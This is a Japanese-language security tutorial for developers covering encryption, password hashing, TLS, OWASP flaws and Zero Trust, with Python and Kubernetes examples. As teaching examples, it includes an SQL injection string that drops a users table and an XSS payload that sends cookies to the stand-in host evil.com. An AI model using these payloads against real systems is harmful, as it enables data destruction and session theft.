Skip to content
Published on

開発者のためのセキュリティ完全ガイド — 暗号化からZero Trustまで

Authors
  • Name
    Twitter
Security Fundamentals

はじめに

「セキュリティはセキュリティチームの仕事では?」— いいえ。コードを書くすべての開発者がセキュリティの最前線です。

SQL Injection一つで数百万件の個人情報が漏洩し、XSS一つでユーザーセッションが乗っ取られます。この記事では、開発者が必ず知っておくべきセキュリティ概念を総まとめします。

Part 1: 暗号化(Cryptography)

共通鍵暗号化(AES)

from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os

# === Fernet(シンプルな共通鍵)===
key = Fernet.generate_key()
f = Fernet(key)

plaintext = b"Hello, Security!"
ciphertext = f.encrypt(plaintext)
decrypted = f.decrypt(ciphertext)
assert decrypted == plaintext  # ✅

# === AES-256-GCM(本番標準)===
key = AESGCM.generate_key(bit_length=256)
aesgcm = AESGCM(key)
nonce = os.urandom(12)  # 96ビットnonce(毎回新しく!)

# 暗号化 + 認証(AEAD: Authenticated Encryption with Associated Data)
ct = aesgcm.encrypt(nonce, b"sensitive data", b"metadata")
pt = aesgcm.decrypt(nonce, ct, b"metadata")  # 復号 + 完全性検証
共通鍵: 同じ鍵で暗号化/復号
メリット: 高速(AES-256:1 GB/s)
デメリット: 鍵配送問題(どうやって安全に鍵を共有するか?)
用途: データ暗号化、ディスク暗号化、TLSデータ転送

公開鍵暗号化(RSA、ECDSA)

from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes

# 鍵ペア生成
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048
)
public_key = private_key.public_key()

# 暗号化(公開鍵で)
message = b"Secret message"
ciphertext = public_key.encrypt(
    message,
    padding.OAEP(
        mgf=padding.MGF1(algorithm=hashes.SHA256()),
        algorithm=hashes.SHA256(),
        label=None
    )
)

# 復号(秘密鍵で)
plaintext = private_key.decrypt(ciphertext, padding.OAEP(
    mgf=padding.MGF1(algorithm=hashes.SHA256()),
    algorithm=hashes.SHA256(),
    label=None
))
assert plaintext == message  # ✅
公開鍵暗号: 公開鍵(暗号化)+ 秘密鍵(復号)
メリット: 鍵交換問題を解決(公開鍵は公開してOKデメリット: 遅い(RSA:1 KB/s、AES1000倍遅い)
用途: TLS鍵交換、電子署名、SSH認証

ハッシング(Hashing)— パスワード保存

import hashlib
import bcrypt

# 絶対にやってはいけないこと: 平文保存
password = "mypassword123"

# NG: 単純ハッシュ(レインボーテーブル攻撃に脆弱)
md5_hash = hashlib.md5(password.encode()).hexdigest()
sha256_hash = hashlib.sha256(password.encode()).hexdigest()

# OK: bcrypt(ソルト + 遅いハッシング = 安全!)
salt = bcrypt.gensalt(rounds=12)  # ソルト生成(2^12回反復)
hashed = bcrypt.hashpw(password.encode(), salt)

# 検証
is_valid = bcrypt.checkpw(password.encode(), hashed)
print(f"パスワード一致: {is_valid}")  # True

# bcryptが安全な理由:
# 1. ソルト: 同じパスワードでも異なるハッシュ → レインボーテーブル無効化
# 2. 遅い: 意図的に遅くしてブルートフォース防御(GPU攻撃防御)
# 3. rounds調整: ハードウェアの進化に合わせて難易度を上げられる

TLSハンドシェイク(HTTPS)

[Client]                          [Server]
    │                                │
    │── ClientHello ────────────────▶│  対応暗号スイート一覧
    │                                │
    │◀── ServerHello + 証明書 ───────│  選択された暗号 + サーバー証明書
    │                                │
    │  サーバー証明書検証(CA チェーン) │
    │                                │
    │── Key Exchange ───────────────▶│  ECDHE公開値
    │◀── Key Exchange ───────────────│  サーバーECDHE公開値
    │                                │
    ╔════════════════════════════════╗
    ║  両者が同じ共通鍵を導出!        ║
      (Diffie-Hellman)    ╚════════════════════════════════╝
    │                                │
    │◄══ AES-256-GCM 暗号化通信 ══▶│

Part 2: Webセキュリティ(OWASP Top 10)

SQL Injection

# NG: 危険なコード
username = "admin'; DROP TABLE users; --"
query = f"SELECT * FROM users WHERE username = '{username}'"
# → SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; --'
# → テーブル削除!

# OK: パラメータバインディング(Prepared Statement)
cursor.execute(
    "SELECT * FROM users WHERE username = %s",
    (username,)  # 入力をデータとしてのみ扱い、SQLとして解釈しない
)

# OK: ORM使用(SQLAlchemy、Django ORM)
user = User.query.filter_by(username=username).first()

XSS(Cross-Site Scripting)

# NG: 危険なコード(ユーザー入力をそのまま出力)
comment = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'

# HTMLにそのまま挿入すると:
html = f"<div>{comment}</div>"
# → Cookie窃取!

# OK: HTMLエスケープ
from markupsafe import escape
safe_html = f"<div>{escape(comment)}</div>"
# → &lt;script&gt;...(実行されない)

# OK: CSP(Content Security Policy)ヘッダー
# Content-Security-Policy: script-src 'self'; object-src 'none';

CSRF(Cross-Site Request Forgery)

# 攻撃: ユーザーがログイン状態で悪意あるサイトを訪問
# 悪意あるサイトに隠されたフォームが自動的に銀行振込リクエストを送信!

# OK: CSRFトークン防御
from flask import Flask, session
import secrets

app = Flask(__name__)

@app.route('/transfer', methods=['POST'])
def transfer():
    # トークン検証
    if request.form['csrf_token'] != session['csrf_token']:
        abort(403)  # CSRF攻撃をブロック!

    # 正常処理
    process_transfer(request.form)

# OK: SameSite Cookie
# Set-Cookie: session=abc; SameSite=Strict; Secure; HttpOnly

認証/認可の脆弱性

# NG: IDOR(Insecure Direct Object Reference)
@app.route('/api/users/<user_id>/profile')
def get_profile(user_id):
    return User.query.get(user_id).to_dict()
    # user_idを変更すると他人の情報が閲覧可能!

# OK: 権限チェック追加
@app.route('/api/users/<user_id>/profile')
@login_required
def get_profile(user_id):
    if current_user.id != int(user_id) and not current_user.is_admin:
        abort(403)  # 権限なし!
    return User.query.get(user_id).to_dict()

Part 3: Zero Trustアーキテクチャ

従来のセキュリティ: 「城壁の中は安全」(Castle & Moat)
  [インターネット] ──[ファイアウォール]── [内部ネットワーク: 全員信頼]
  → 内部侵入時に無防備!

Zero Trust: 「誰も信頼しない」
  [すべてのリクエスト][認証][認可][暗号化][モニタリング]
  → 内部でも外部でも毎回検証!

Zero Trustの原則

1. Verify Explicitly(明示的検証)
   → すべてのリクエストに認証 + 認可(場所/ネットワーク不問)

2. Least Privilege(最小権限)
   → 必要なものだけ、必要な時間だけアクセス許可
JIT(Just-In-Time)権限付与

3. Assume Breach(侵害前提)
   → すでに侵害されていると仮定して設計
   → マイクロセグメンテーション、暗号化、モニタリング
# Kubernetes Zero Trust: NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: api-policy
spec:
  podSelector:
    matchLabels:
      app: api-server
  policyTypes:
    - Ingress
    - Egress
  ingress:
    - from:
        - podSelector:
            matchLabels:
              app: frontend # フロントエンドからのみアクセス許可
      ports:
        - port: 8080
  egress:
    - to:
        - podSelector:
            matchLabels:
              app: database # DBへのアクセスのみ許可
      ports:
        - port: 5432
  # その他すべてのトラフィック: ブロック!

セキュリティチェックリスト

[認証/認可]
- bcrypt/Argon2でパスワードハッシング(SHA256単独使用禁止)
- JWT署名検証 + 有効期限設定
- OAuth 2.0 PKCESPA/モバイル)
- MFA(多要素認証)導入
- Rate Limiting(ブルートフォース防御)

[入力検証]
- SQL Injection: Prepared Statement / ORM
- XSS: HTMLエスケープ + CSPヘッダー
- CSRF: SameSite Cookie + CSRFトークン
- Path Traversal: ファイル名検証
- SSRF: 内部IPブロック

[通信/保存]
- HTTPS必須(TLS 1.3- HSTSヘッダー
- 機密データ暗号化(AES-256-GCM- シークレット管理: Vault / AWS Secrets Manager
- ログにパスワード/トークンを絶対に記録しない

[インフラ]
- Zero Trustネットワーク
- コンテナイメージスキャン(Trivy)
- 依存関係の脆弱性スキャン(Dependabot)
- WAF(Web Application Firewall)
- 侵入検知/モニタリング

クイズ — セキュリティ(クリックして確認!)

Q1. 共通鍵暗号と公開鍵暗号の違いとそれぞれの用途は? ||共通鍵: 同じ鍵で暗号化/復号、高速(AES)— データ転送/保存の暗号化。公開鍵: 公開鍵/秘密鍵のペア、低速(RSA)— 鍵交換、電子署名||

Q2. bcryptがSHA-256よりパスワード保存に安全な理由は? ||1) ソルトでレインボーテーブルを無効化 2) 意図的に遅いハッシングでブルートフォース防御 3) rounds調整で将来のハードウェア進化に対応||

Q3. SQL Injectionの根本原因と防御法は? ||根本原因: ユーザー入力がSQLクエリの一部として解釈される。防御: Prepared Statement(パラメータバインディング)で入力をデータとしてのみ扱う||

Q4. XSSとCSRFの違いは? ||XSS: 攻撃者のスクリプトが被害者のブラウザで実行される。CSRF: 被害者の認証済みセッションで攻撃者が望むリクエストを送信。XSSはクライアントを、CSRFはサーバーを騙す攻撃||

Q5. TLSハンドシェイクで共通鍵と公開鍵がそれぞれ使われる段階は? ||公開鍵: ハンドシェイク段階での鍵交換(ECDHE)。共通鍵(AES): データ転送段階。公開鍵で安全に共通鍵を合意した後、高速な共通鍵で実際の通信||

Q6. Zero Trustの3原則は? ||1) Verify Explicitly: すべてのリクエストを明示的に認証/認可 2) Least Privilege: 最小限の権限のみ付与 3) Assume Breach: すでに侵害されていると仮定して設計||

Q7. HSTSヘッダーの役割は? ||ブラウザに対して該当ドメインはHTTPSでのみアクセスするよう指示。HTTPからHTTPSへのリダイレクト中に発生しうる中間者攻撃を防止||